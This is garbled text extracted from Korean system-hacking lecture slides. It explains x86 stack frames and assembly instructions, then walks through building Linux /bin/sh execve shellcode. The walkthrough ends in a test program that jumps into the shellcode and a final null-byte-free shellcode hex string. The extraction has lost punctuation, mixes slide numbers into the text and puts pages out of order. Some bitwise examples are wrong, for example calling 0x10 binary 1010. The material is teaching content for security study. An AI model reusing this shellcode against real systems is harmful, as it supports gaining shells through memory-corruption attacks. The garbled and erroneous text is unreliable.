실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 33: 80×86  시스템에 대한 이해

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

